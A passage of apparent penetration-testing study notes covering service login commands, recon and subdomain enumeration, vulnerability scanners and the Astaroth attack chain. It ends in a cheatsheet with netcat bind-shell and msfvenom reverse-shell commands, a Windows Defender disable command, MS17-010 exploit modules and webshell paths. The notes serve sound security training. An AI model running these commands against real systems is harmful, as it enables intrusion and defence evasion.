\u0026lt;user\u0026gt;@\u0026lt;FQDN/IP\u0026gt; Log in to the SSH server using the SSH client. ssh -i private.key \u0026lt;user\u0026gt;@\u0026lt;FQDN/IP\u0026gt; Log in to the SSH server using private key. ssh \u0026lt;user\u0026gt;@\u0026lt;FQDN/IP\u0026gt; -o PreferredAuthentications=password Enforce password-based authentication. Windows Remote Management\nCommand Description rdp-sec-check.pl \u0026lt;FQDN/IP\u0026gt; Check the security settings of the RDP service. xfreerdp /u:\u0026lt;user\u0026gt; /p:\u0026quot;\u0026lt;password\u0026gt;\u0026quot; /v:\u0026lt;FQDN/IP\u0026gt; Log in to the RDP server from Linux. evil-winrm -i \u0026lt;FQDN/IP\u0026gt; -u \u0026lt;user\u0026gt; -p \u0026lt;password\u0026gt; Log in to the WinRM server. wmiexec.py \u0026lt;user\u0026gt;:\u0026quot;\u0026lt;password\u0026gt;\u0026quot;@\u0026lt;FQDN/IP\u0026gt; \u0026quot;\u0026lt;system command\u0026gt;\u0026quot; Execute command using the WMI service. Oracle TNS\nCommand Description ./odat.py all -s \u0026lt;FQDN/IP\u0026gt; Perform a variety of scans to gather information about the Oracle database services and its components. sqlplus \u0026lt;user\u0026gt;/\u0026lt;pass\u0026gt;@\u0026lt;FQDN/IP\u0026gt;/\u0026lt;db\u0026gt; Log in to the Oracle database. ./odat.py utlfile -s \u0026lt;FQDN/IP\u0026gt; -d \u0026lt;db\u0026gt; -U \u0026lt;user\u0026gt; -P \u0026lt;pass\u0026gt; --sysdba --putFile C:\\\\insert\\\\path file.txt ./file.txt Upload a file with Oracle RDBMS. Complete Link of Completion\nInformation Gathering WHOIS We can consider WHOIS as the \u0026ldquo;white pages\u0026rdquo; for domain names. It is a TCP-based transaction-oriented query/response protocol listening on TCP port 43 by default\nwoadey@htb[/htb]$ export TARGET=\u0026#34;facebook.com\u0026#34; # Assign our target to an environment variable woadey@htb[/htb]$ whois $TARGET Domain Name: FACEBOOK.COM Registry Domain ID: 2320948_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.registrarsafe.com Registrar URL: https://www.registrarsafe.com Updated Date: 2021-09-22T19:33:41Z Creation Date: 1997-03-29T05:00:00Z Registrar Registration Expiration Date: 2030-03-30T04:00:00Z Registrar: RegistrarSafe, LLC Registrar IANA ID: 3237 Registrar Abuse Contact Email: abusecomplaints@registrarsafe.com Registrar Abuse Contact Phone: +1.6503087004 Domain Status: clientDeleteProhibited https://www.icann.org/epp#clientDeleteProhibited Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited Domain Status: clientUpdateProhibited https://www.icann.org/epp#clientUpdateProhibited Domain Status: serverDeleteProhibited https://www.icann.org/epp#serverDeleteProhibited Domain Status: serverTransferProhibited https://www.icann.org/epp#serverTransferProhibited Domain Status: serverUpdateProhibited https://www.icann.org/epp#serverUpdateProhibited Registry Registrant ID: Registrant Name: Domain Admin Registrant Organization: Facebook, Inc. Registrant Street: 1601 Willow Rd Registrant City: Menlo Park Registrant State/Province: CA Registrant Postal Code: 94025 Registrant Country: US Registrant Phone: +1.6505434800 Registrant Phone Ext: Registrant Fax: +1.6505434800 Registrant Fax Ext: Registrant Email: domain@fb.com Registry Admin ID: Admin Name: Domain Admin Admin Organization: Facebook, Inc. Admin Street: 1601 Willow Rd Admin City: Menlo Park Admin State/Province: CA Admin Postal Code: 94025 Admin Country: US Admin Phone: +1.6505434800 Admin Phone Ext: Admin Fax: +1.6505434800 Admin Fax Ext: Admin Email: domain@fb.com Registry Tech ID: Tech Name: Domain Admin Tech Organization: Facebook, Inc. Tech Street: 1601 Willow Rd Tech City: Menlo Park Tech State/Province: CA Tech Postal Code: 94025 Tech Country: US Tech Phone: +1.6505434800 Tech Phone Ext: Tech Fax: +1.6505434800 Tech Fax Ext: Tech Email: domain@fb.com Name Server: C.NS.FACEBOOK.COM Name Server: B.NS.FACEBOOK.COM Name Server: A.NS.FACEBOOK.COM Name Server: D.NS.FACEBOOK.COM DNSSEC: unsigned \u0026lt;SNIP\u0026gt; DNS The DNS is the Internet\u0026rsquo;s phone book. Domain names such as hackthebox.com and inlanefreight.com allow people to access content on the Internet. Internet Protocol (IP) addresses are used to communicate between web browsers. DNS converts domain names to IP addresses, allowing browsers to access resources on the Internet.\nDNS Advantages:\nIt allows names to be used instead of numbers to identify hosts. It is a lot easier to remember a name than it is to recall a number. By merely retargeting a name to the new numeric address, a server can change numeric addresses without having to notify everyone on the Internet. A single name might refer to several hosts splitting the workload between different servers. Passive Subdomain Enumeration VirusTotal\nVirusTotal maintains its DNS replication service, which is developed by preserving DNS resolutions made when users visit URLs given by them. To receive information about a domain, type the domain name into the search bar and click on the \u0026ldquo;Relations\u0026rdquo; tab.\nCertificates\nAnother interesting source of information we can use to extract subdomains is SSL/TLS certificates. The main reason is Certificate Transparency (CT), a project that requires every SSL/TLS certificate issued by a Certificate Authority (CA) to be published in a publicly accessible log.\nWe will learn how to examine CT logs to discover additional domain names and subdomains for a target organization using two primary resources:\nhttps://censys.io\nhttps://crt.sh\nwoadey@htb[/htb]$ export TARGET=\u0026#34;facebook.com\u0026#34; woadey@htb[/htb]$ curl -s \u0026#34;https://crt.sh/?q=${TARGET}\u0026amp;output=json\u0026#34; | jq -r \u0026#39;.[] | \u0026#34;\\(.name_value)\\n\\(.common_name)\u0026#34;\u0026#39; | sort -u \u0026gt; \u0026#34;${TARGET}_crt.sh.txt\u0026#34; woadey@htb[/htb]$ head -n20 facebook.com_crt.sh.txt *.adtools.facebook.com *.ak.facebook.com *.ak.fbcdn.net *.alpha.facebook.com *.assistant.facebook.com *.beta.facebook.com *.channel.facebook.com *.cinyour.facebook.com *.cinyourrc.facebook.com *.connect.facebook.com *.cstools.facebook.com *.ctscan.facebook.com *.dev.facebook.com *.dns.facebook.com *.extern.facebook.com *.extools.facebook.com *.f--facebook.com *.facebook.com *.facebookcorewwwi.onion *.facebookmail.com woadey@htb[/htb]$ export TARGET=\u0026#34;facebook.com\u0026#34; woadey@htb[/htb]$ export PORT=\u0026#34;443\u0026#34; woadey@htb[/htb]$ openssl s_client -ign_eof 2\u0026gt;/dev/null \u0026lt;\u0026lt;\u0026lt;$\u0026#39;HEAD / HTTP/1.0\\r\\n\\r\u0026#39; -connect \u0026#34;${TARGET}:${PORT}\u0026#34; | openssl x509 -noout -text -in - | grep \u0026#39;DNS\u0026#39; | sed -e \u0026#39;s|DNS:|\\n|g\u0026#39; -e \u0026#39;s|^\\*.*||g\u0026#39; | tr -d \u0026#39;,\u0026#39; | sort -u *.facebook.com *.facebook.net *.fbcdn.net *.fbsbx.com *.m.facebook.com *.messenger.com *.xx.fbcdn.net *.xy.fbcdn.net *.xz.fbcdn.net facebook.com messenger.com Automating Passive Subdomain Enumeration\nTheHarvester is a simple-to-use yet powerful and effective tool for early-stage penetration testing and red team engagements. We can use it to gather information to help identify a company\u0026rsquo;s attack surface. The tool collects emails, names, subdomains, IP addresses, and URLs from various public data sources for passive information gathering.\nPassive Infrastructure Identification Netcraft\nNetcraft can offer us information about the servers without even interacting with them, and this is something valuable from a passive information gathering point of view.\nWayback Machine\nThe Internet Archive is an American digital library that provides free public access to digitalized materials, including websites, collected automatically via its web crawlers.\nActive Infrastructure Identification WhatWeb\nWhatweb recognizes web technologies, including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices.\nWappalyzer\nThe GUI extension version of WhatWeb.\nWafW00f\nWAFW00F is a tool used to identify and fingerprint Web Application Firewalls (WAF) that are protecting a website. It allows users to detect the presence and type of WAFs by sending a series of test requests and analyzing the responses.\nwoadey@htb[/htb]$ wafw00f -v https://www.tesla.com ______ / \\ ( Woof! ) \\ ____/ ) ,, ) (_ .-. - _______ ( |__| ()``; |==|_______) .)|__| / (\u0026#39; /|\\ ( |__| ( / ) / | \\ . |__| \\(_)_)) / | \\ |__| ~ WAFW00F : v2.1.0 ~ The Web Application Firewall Fingerprinting Toolkit [*] Checking https://www.tesla.com [+] The site https://www.tesla.com is behind CacheWall (Varnish) WAF. [~] Number of requests: 2 Aquatone\nAquatone is a tool for automatic and visual inspection of websites across many hosts and is convenient for quickly gaining an overview of HTTP-based attack surfaces by scanning a list of configurable ports, visiting the website with a headless Chrome browser, and taking a screenshot. This is helpful, especially when dealing with huge subdomain lists.\nActive Subdomain Enumeration ZoneTransfer\nhttps://hackertarget.com/zone-transfer/ is a good tool for identifying zone transfers.\nGobuster\nGobuster is a tool that we can use to perform subdomain enumeration. It is especially interesting for us the patterns options as we have learned some naming conventions from the passive information gathering we can use to discover new subdomains following the same pattern.\nVirtual Hosts A virtual host (vHost) is a feature that allows several websites to be hosted on a single server. This is an excellent solution if you have many websites and don\u0026rsquo;t want to go through the time-consuming (and expensive) process of setting up a new web server for each one. Imagine having to set up a different webserver for a mobile and desktop version of the same page.\nAutomating Virtual Hosts Discovery We can use this manual approach for a small list of virtual hosts, but it will not be feasible if we have an extensive list. Using ffuf, we can speed up the process and filter based on parameters present in the response. Let\u0026rsquo;s replicate the same process we did with ffuf, but first, let\u0026rsquo;s look at some of its options.\nwoadey@htb[/htb]$ ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.129.73.87 -H \u0026#34;HOST: FUZZ.inlanefreight.htb\u0026#34; -mr \u0026#34;HTB\u0026#34; /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v1.4.1-dev ________________________________________________ :: Method : GET :: URL : http://10.129.73.87 :: Wordlist : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.inlanefreight.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Regexp: HTB ________________________________________________ www2 [Status: 200, Size: 96, Words: 2, Lines: 6, Duration: 9ms] app [Status: 200, Size: 103, Words: 3, Lines: 6, Duration: 5ms] citrix [Status: 200, Size: 100, Words: 3, Lines: 6, Duration: 5ms] ap [Status: 200, Size: 102, Words: 3, Lines: 6, Duration: 3ms] customers [Status: 200, Size: 94, Words: 3, Lines: 6, Duration: 2ms] dmz [Status: 200, Size: 95, Words: 2, Lines: 6, Duration: 5ms] :: Progress: [4997/4997] :: Job [1/1] :: 3262 req/sec :: Duration: [0:00:01] :: Errors: 0 :: Crawling ZAP\nZed Attack Proxy (ZAP) is an open-source web proxy that belongs to the Open Web Application Security Project (OWASP). It allows us to perform manual and automated security testing on web applications. Using it as a proxy server will enable us to intercept and manipulate all the traffic that passes through it.\nFFuF\nwoadey@htb[/htb]$ ffuf -recursion -recursion-depth 1 -u http://192.168.10.10/FUZZ -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v1.1.0-git ________________________________________________ :: Method : GET :: URL : http://192.168.10.10/FUZZ :: Wordlist : FUZZ: /opt/useful/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405 ________________________________________________ wp-admin [Status: 301, Size: 317, Words: 20, Lines: 10] [INFO] Adding a new job to the queue: http://192.168.10.10/wp-admin/FUZZ wp-includes [Status: 301, Size: 320, Words: 20, Lines: 10] [INFO] Adding a new job to the queue: http://192.168.10.10/wp-includes/FUZZ wp-content [Status: 301, Size: 319, Words: 20, Lines: 10] [INFO] Adding a new job to the queue: http://192.168.10.10/wp-content/FUZZ admin [Status: 302, Size: 0, Words: 1, Lines: 1] login [Status: 302, Size: 0, Words: 1, Lines: 1] feed [Status: 301, Size: 0, Words: 1, Lines: 1] [INFO] Adding a new job to the queue: http://192.168.10.10/feed/FUZZ ... ReconSpider\nwoadey@htb[/htb]$ wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip woadey@htb[/htb]$ unzip ReconSpider.zip woadey@htb[/htb]$ python3 ReconSpider.py http://inlanefreight.com 2024-08-23 11:23:56 [scrapy.utils.log] INFO: Scrapy 2.11.2 started (bot: scrapybot) 2024-08-23 11:23:56 [scrapy.utils.log] INFO: Versions: lxml 4.9.2.0, libxml2 2.9.14, cssselect 1.2.0, parsel 1.9.1, w3lib 2.2.1, Twisted 24.7.0, Python 3.11.2 (main, May 2 2024, 11:59:08) [GCC 12.2.0], pyOpenSSL 24.1.0 (OpenSSL 3.2.2 4 Jun 2024), cryptography 42.0.8, Platform Linux-6.5.0-13parrot1-amd64-x86_64-with-glibc2.36 2024-08-23 11:23:56 [scrapy.addons] INFO: Enabled addons: [] 2024-08-23 11:23:56 [py.warnings] WARNING: /home/htb-ac-713396/.local/lib/python3.11/site-packages/scrapy/utils/request.py:254: ScrapyDeprecationWarning: \u0026#39;2.6\u0026#39; is a deprecated value for the \u0026#39;REQUEST_FINGERPRINTER_IMPLEMENTATION\u0026#39; setting. It is also the default value. In other words, it is normal to get this warning if you have not defined a value for the \u0026#39;REQUEST_FINGERPRINTER_IMPLEMENTATION\u0026#39; setting. This is so for backward compatibility reasons, but it will change in a future version of Scrapy. See the documentation of the \u0026#39;REQUEST_FINGERPRINTER_IMPLEMENTATION\u0026#39; setting for information on how to handle this deprecation. return cls(crawler) 2024-08-23 11:23:56 [scrapy.extensions.telnet] INFO: Telnet Password: 82c52ae64678c537 2024-08-23 11:23:56 [scrapy.middleware] INFO: Enabled extensions: [\u0026#39;scrapy.extensions.corestats.CoreStats\u0026#39;, \u0026#39;scrapy.extensions.telnet.TelnetConsole\u0026#39;, \u0026#39;scrapy.extensions.memusage.MemoryUsage\u0026#39;, \u0026#39;scrapy.extensions.logstats.LogStats\u0026#39;] 2024-08-23 11:23:56 [scrapy.crawler] INFO: Overridden settings: {\u0026#39;LOG_LEVEL\u0026#39;: \u0026#39;INFO\u0026#39;} 2024-08-23 11:23:56 [scrapy.middleware] INFO: Enabled downloader middlewares: [\u0026#39;scrapy.downloadermiddlewares.offsite.OffsiteMiddleware\u0026#39;, \u0026#39;scrapy.downloadermiddlewares.httpauth.HttpAuthMiddleware\u0026#39;, \u0026#39;scrapy.downloadermiddlewares.downloadtimeout.DownloadTimeoutMiddleware\u0026#39;, \u0026#39;scrapy.downloadermiddlewares.defaultheaders.DefaultHeadersMiddleware\u0026#39;, \u0026#39;scrapy.downloadermiddlewares.useragent.UserAgentMiddleware\u0026#39;, \u0026#39;__main__.CustomOffsiteMiddleware\u0026#39;, \u0026#39;scrapy.downloadermiddlewares.retry.RetryMiddleware\u0026#39;, \u0026#39;scrapy.downloadermiddlewares.redirect.MetaRefreshMiddleware\u0026#39;, \u0026#39;scrapy.downloadermiddlewares.httpcompression.HttpCompressionMiddleware\u0026#39;, \u0026#39;scrapy.downloadermiddlewares.redirect.RedirectMiddleware\u0026#39;, \u0026#39;scrapy.downloadermiddlewares.cookies.CookiesMiddleware\u0026#39;, \u0026#39;scrapy.downloadermiddlewares.httpproxy.HttpProxyMiddleware\u0026#39;, \u0026#39;scrapy.downloadermiddlewares.stats.DownloaderStats\u0026#39;] 2024-08-23 11:23:56 [scrapy.middleware] INFO: Enabled spider middlewares: [\u0026#39;scrapy.spidermiddlewares.httperror.HttpErrorMiddleware\u0026#39;, \u0026#39;scrapy.spidermiddlewares.referer.RefererMiddleware\u0026#39;, \u0026#39;scrapy.spidermiddlewares.urllength.UrlLengthMiddleware\u0026#39;, \u0026#39;scrapy.spidermiddlewares.depth.DepthMiddleware\u0026#39;] 2024-08-23 11:23:56 [scrapy.middleware] INFO: Enabled item pipelines: [] 2024-08-23 11:23:56 [scrapy.core.engine] INFO: Spider opened 2024-08-23 11:23:56 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min) 2024-08-23 11:23:56 [scrapy.extensions.telnet] INFO: Telnet console listening on 127.0.0.1:6023 2024-08-23 11:23:58 [scrapy.core.engine] INFO: Closing spider (finished) 2024-08-23 11:23:58 [scrapy.statscollectors] INFO: Dumping Scrapy stats: {\u0026#39;downloader/request_bytes\u0026#39;: 2737, \u0026#39;downloader/request_count\u0026#39;: 10, \u0026#39;downloader/request_method_count/GET\u0026#39;: 10, \u0026#39;downloader/response_bytes\u0026#39;: 93960, \u0026#39;downloader/response_count\u0026#39;: 10, \u0026#39;downloader/response_status_count/200\u0026#39;: 8, \u0026#39;downloader/response_status_count/301\u0026#39;: 2, \u0026#39;dupefilter/filtered\u0026#39;: 52, \u0026#39;elapsed_time_seconds\u0026#39;: 1.985026, \u0026#39;finish_reason\u0026#39;: \u0026#39;finished\u0026#39;, \u0026#39;finish_time\u0026#39;: datetime.datetime(2024, 8, 23, 16, 23, 58, 657631, tzinfo=datetime.timezone.utc), \u0026#39;httpcompression/response_bytes\u0026#39;: 162654, \u0026#39;httpcompression/response_count\u0026#39;: 7, \u0026#39;log_count/INFO\u0026#39;: 10, \u0026#39;log_count/WARNING\u0026#39;: 1, \u0026#39;memusage/max\u0026#39;: 78577664, \u0026#39;memusage/startup\u0026#39;: 78577664, \u0026#39;request_depth_max\u0026#39;: 2, \u0026#39;response_received_count\u0026#39;: 8, \u0026#39;scheduler/dequeued\u0026#39;: 10, \u0026#39;scheduler/dequeued/memory\u0026#39;: 10, \u0026#39;scheduler/enqueued\u0026#39;: 10, \u0026#39;scheduler/enqueued/memory\u0026#39;: 10, \u0026#39;start_time\u0026#39;: datetime.datetime(2024, 8, 23, 16, 23, 56, 672605, tzinfo=datetime.timezone.utc)} 2024-08-23 11:23:58 [scrapy.core.engine] INFO: Spider closed (finished) Search Engine Discovery Operator Operator Description Example Example Description site: Limits results to a specific website or domain. site:example.com Find all publicly accessible pages on example.com. inurl: Finds pages with a specific term in the URL. inurl:login Search for login pages on any website. filetype: Searches for files of a particular type. filetype:pdf Find downloadable PDF documents. intitle: Finds pages with a specific term in the title. intitle:\u0026quot;confidential report\u0026quot; Look for documents titled \u0026ldquo;confidential report\u0026rdquo; or similar variations. intext: or inbody: Searches for a term within the body text of pages. intext:\u0026quot;password reset\u0026quot; Identify webpages containing the term \u0026ldquo;password reset\u0026rdquo;. cache: Displays the cached version of a webpage (if available). cache:example.com View the cached version of example.com to see its previous content. link: Finds pages that link to a specific webpage. link:example.com Identify websites linking to example.com. related: Finds websites related to a specific webpage. related:example.com Discover websites similar to example.com. info: Provides a summary of information about a webpage. info:example.com Get basic details about example.com, such as its title and description. define: Provides definitions of a word or phrase. define:phishing Get a definition of \u0026ldquo;phishing\u0026rdquo; from various sources. numrange: Searches for numbers within a specific range. site:example.com numrange:1000-2000 Find pages on example.com containing numbers between 1000 and 2000. allintext: Finds pages containing all specified words in the body text. allintext:admin password reset Search for pages containing both \u0026ldquo;admin\u0026rdquo; and \u0026ldquo;password reset\u0026rdquo; in the body text. allinurl: Finds pages containing all specified words in the URL. allinurl:admin panel Look for pages with \u0026ldquo;admin\u0026rdquo; and \u0026ldquo;panel\u0026rdquo; in the URL. allintitle: Finds pages containing all specified words in the title. allintitle:confidential report 2023 Search for pages with \u0026ldquo;confidential,\u0026rdquo; \u0026ldquo;report,\u0026rdquo; and \u0026ldquo;2023\u0026rdquo; in the title. AND Narrows results by requiring all terms to be present. site:example.com AND (inurl:admin OR inurl:login) Find admin or login pages specifically on example.com. OR Broadens results by including pages with any of the terms. \u0026quot;linux\u0026quot; OR \u0026quot;ubuntu\u0026quot; OR \u0026quot;debian\u0026quot; Search for webpages mentioning Linux, Ubuntu, or Debian. NOT Excludes results containing the specified term. site:bank.com NOT inurl:login Find pages on bank.com excluding login pages. * (wildcard) Represents any character or word. site:socialnetwork.com filetype:pdf user* manual Search for user manuals (user guide, user handbook) in PDF format on socialnetwork.com. .. (range search) Finds results within a specified numerical range. site:ecommerce.com \u0026quot;price\u0026quot; 100..500 Look for products priced between 100 and 500 on an e-commerce website. \u0026quot; \u0026quot; (quotation marks) Searches for exact phrases. \u0026quot;information security policy\u0026quot; Find documents mentioning the exact phrase \u0026ldquo;information security policy\u0026rdquo;. - (minus sign) Excludes terms from the search results. site:news.com -inurl:sports Search for news articles on news.com excluding sports-related content. Automating Recon woadey@htb[/htb]$ ./finalrecon.py --headers --whois --url http://inlanefreight.com ______ __ __ __ ______ __ /\\ ___\\/\\ \\ /\\ \u0026#34;-.\\ \\ /\\ __ \\ /\\ \\ \\ \\ __\\\\ \\ \\\\ \\ \\-. \\\\ \\ __ \\\\ \\ \\____ \\ \\_\\ \\ \\_\\\\ \\_\\\\\u0026#34;\\_\\\\ \\_\\ \\_\\\\ \\_____\\ \\/_/ \\/_/ \\/_/ \\/_/ \\/_/\\/_/ \\/_____/ ______ ______ ______ ______ __ __ /\\ == \\ /\\ ___\\ /\\ ___\\ /\\ __ \\ /\\ \u0026#34;-.\\ \\ \\ \\ __\u0026lt; \\ \\ __\\ \\ \\ \\____\\ \\ \\/\\ \\\\ \\ \\-. \\ \\ \\_\\ \\_\\\\ \\_____\\\\ \\_____\\\\ \\_____\\\\ \\_\\\\\u0026#34;\\_\\ \\/_/ /_/ \\/_____/ \\/_____/ \\/_____/ \\/_/ \\/_/ [\u0026gt;] Created By : thewhiteh4t |---\u0026gt; Twitter : https://twitter.com/thewhiteh4t |---\u0026gt; Community : https://twc1rcle.com/ [\u0026gt;] Version : 1.1.6 [+] Target : http://inlanefreight.com [+] IP Address : 134.209.24.248 [!] Headers : Date : Tue, 11 Jun 2024 10:08:00 GMT Server : Apache/2.4.41 (Ubuntu) Link : \u0026lt;https://www.inlanefreight.com/index.php/wp-json/\u0026gt;; rel=\u0026#34;https://api.w.org/\u0026#34;, \u0026lt;https://www.inlanefreight.com/index.php/wp-json/wp/v2/pages/7\u0026gt;; rel=\u0026#34;alternate\u0026#34;; type=\u0026#34;application/json\u0026#34;, \u0026lt;https://www.inlanefreight.com/\u0026gt;; rel=shortlink Vary : Accept-Encoding Content-Encoding : gzip Content-Length : 5483 Keep-Alive : timeout=5, max=100 Connection : Keep-Alive Content-Type : text/html; charset=UTF-8 [!] Whois Lookup : Domain Name: INLANEFREIGHT.COM Registry Domain ID: 2420436757_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.registrar.amazon.com Registrar URL: http://registrar.amazon.com Updated Date: 2023-07-03T01:11:15Z Creation Date: 2019-08-05T22:43:09Z Registry Expiry Date: 2024-08-05T22:43:09Z Registrar: Amazon Registrar, Inc. Registrar IANA ID: 468 Registrar Abuse Contact Email: abuse@amazonaws.com Registrar Abuse Contact Phone: +1.2024422253 Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited Name Server: NS-1303.AWSDNS-34.ORG Name Server: NS-1580.AWSDNS-05.CO.UK Name Server: NS-161.AWSDNS-20.COM Name Server: NS-671.AWSDNS-19.NET DNSSEC: unsigned URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/ [+] Completed in 0:00:00.257780 [+] Exported : /home/htb-ac-643601/.local/share/finalrecon/dumps/fr_inlanefreight.com_11-06-2024_11:07:59 Complete Link of Completion\nVulnerability Assessment Vulnerability Scanning Nessus Overview\nNessus Essentials by Tenable (Download Page)is the free version of the official Nessus Vulnerability Scanner. Individuals can access Nessus Essentials to get started understanding Tenable\u0026rsquo;s vulnerability scanner. The caveat is that it can only be used for up to 16 hosts. The features in the free version are limited but are perfect for someone looking to get started with Nessus. The free scanner will attempt to identify vulnerabilities in an environment.\nwoadey@htb[/htb]$ sudo systemctl start nessusd.service https://localhost:8834 OpenVAS Overview\nOpenVAS by Greenbone Networks is a publicly available open-source vulnerability scanner. OpenVAS can perform network scans, including authenticated and unauthenticated testing.\nwoadey@htb[/htb]$ sudo apt-get update \u0026amp;\u0026amp; apt-get -y full-upgrade woadey@htb[/htb]$ sudo apt-get install gvm \u0026amp;\u0026amp; openvas woadey@htb[/htb]$ gvm-setup Completion Link of Completion\nFile transfers Astaroth Attack The Astaroth attack generally followed these steps: A malicious link in a spear-phishing email led to an LNK file. When double-clicked, the LNK file caused the execution of the WMIC tool with the \u0026ldquo;/Format\u0026rdquo; parameter, which allowed the download and execution of malicious JavaScript code. The JavaScript code, in turn, downloads payloads by abusing the Bitsadmin tool.\nAll the payloads were base64-encoded and decoded using the Certutil tool resulting in a few DLL files. The regsvr32 tool was then used to load one of the decoded DLLs, which decrypted and loaded other files until the final payload, Astaroth, was injected into the Userinit process. Below is a graphical depiction of the attack. Living off The Land LOLBAS Project for Windows Binaries GTFOBins for Linux Binaries Completion Link of Completion\nShells and Payloads Bind Shells With a bind shell, the target system has a listener started and awaits a connection from a pentester\u0026rsquo;s system (attack box).\nReverse Shells With a reverse shell, the attack box will have a listener running, and the target will need to initiate the connection.\nLaudanum, One Webshell to Rule Them All Laudanum is a repository of ready-made files that can be used to inject onto a victim and receive back access via a reverse shell, run commands on the victim host right from the browser, and more. The repo includes injectable files for many different web application languages to include asp, aspx, jsp, php, and more. This is a staple to have on any pentest. If you are using your own VM, Laudanum is built into Parrot OS and Kali by default. For any other distro, you will likely need to pull a copy down to use. You can get it here.\nCheatsheet Commands Description xfreerdp /v:10.129.x.x /u:htb-student /p:HTB_@cademy_stdnt! CLI-based tool used to connect to a Windows target using the Remote Desktop Protocol env Works with many different command language interpreters to discover the environmental variables of a system. This is a great way to find out which shell language is in use sudo nc -lvnp \u0026lt;port #\u0026gt; Starts a netcat listener on a specified port nc -nv \u0026lt;ip address of computer with listener started\u0026gt;\u0026lt;port being listened on\u0026gt; Connects to a netcat listener at the specified IP address and port rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2\u0026gt;\u0026amp;1 | nc -l 10.129.41.200 7777 \u0026gt; /tmp/f Uses netcat to bind a shell (/bin/bash) the specified IP address and port. This allows for a shell session to be served remotely to anyone connecting to the computer this command has been issued on Set-MpPreference -DisableRealtimeMonitoring $true Powershell command using to disable real time monitoring in Windows Defender use exploit/windows/smb/psexec Metasploit exploit module that can be used on vulnerable Windows system to establish a shell session utilizing smb \u0026amp; psexec shell Command used in a meterpreter shell session to drop into a system shell msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf \u0026gt; nameoffile.elf MSFvenom command used to generate a linux-based reverse shell stageless payload msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe \u0026gt; nameoffile.exe MSFvenom command used to generate a Windows-based reverse shell stageless payload msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f macho \u0026gt; nameoffile.macho MSFvenom command used to generate a MacOS-based reverse shell payload msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.113 LPORT=443 -f asp \u0026gt; nameoffile.asp MSFvenom command used to generate a ASP web reverse shell payload msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f raw \u0026gt; nameoffile.jsp MSFvenom command used to generate a JSP web reverse shell payload msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f war \u0026gt; nameoffile.war MSFvenom command used to generate a WAR java/jsp compatible web reverse shell payload use auxiliary/scanner/smb/smb_ms17_010 Metasploit exploit module used to check if a host is vulnerable to ms17_010 use exploit/windows/smb/ms17_010_psexec Metasploit exploit module used to gain a reverse shell session on a Windows-based system that is vulnerable to ms17_010 use exploit/linux/http/rconfig_vendors_auth_file_upload_rce Metasploit exploit module that can be used to obtain a reverse shell on a vulnerable linux system hosting rConfig 3.9.6 python -c 'import pty; pty.spawn(\u0026quot;/bin/sh\u0026quot;)' Python command used to spawn an interactive shell on a linux-based system /bin/sh -i Spawns an interactive shell on a linux-based system perl —e 'exec \u0026quot;/bin/sh\u0026quot;;' Uses perl to spawn an interactive shell on a linux-based system ruby: exec \u0026quot;/bin/sh\u0026quot; Uses ruby to spawn an interactive shell on a linux-based system Lua: os.execute('/bin/sh') Uses Lua to spawn an interactive shell on a linux-based system awk 'BEGIN {system(\u0026quot;/bin/sh\u0026quot;)}' Uses awk command to spawn an interactive shell on a linux-based system find / -name nameoffile 'exec /bin/awk 'BEGIN {system(\u0026quot;/bin/sh\u0026quot;)}' \\; Uses find command to spawn an interactive shell on a linux-based system find . -exec /bin/sh \\; -quit An alternative way to use the find command to spawn an interactive shell on a linux-based system vim -c ':!/bin/sh' Uses the text-editor VIM to spawn an interactive shell. Can be used to escape \u0026ldquo;jail-shells\u0026rdquo; ls -la \u0026lt;path/to/fileorbinary\u0026gt; Used to list files \u0026amp; directories on a linux-based system and shows the permission for each file in the chosen directory. Can be used to look for binaries that we have permission to execute sudo -l Displays the commands that the currently logged on user can run as sudo /usr/share/webshells/laudanum Location of laudanum webshells on ParrotOS and Pwnbox /usr/share/nishang/Antak-WebShell Location of Antak-Webshell on Parrot OS and Pwnbox Complete Link of Completion\nUsing the Metasploit Framework Cheatsheet MSFconsole Commands\nCommand Description show exploits Show all exploits within the Framework. show payloads Show all payloads within the Framework. show 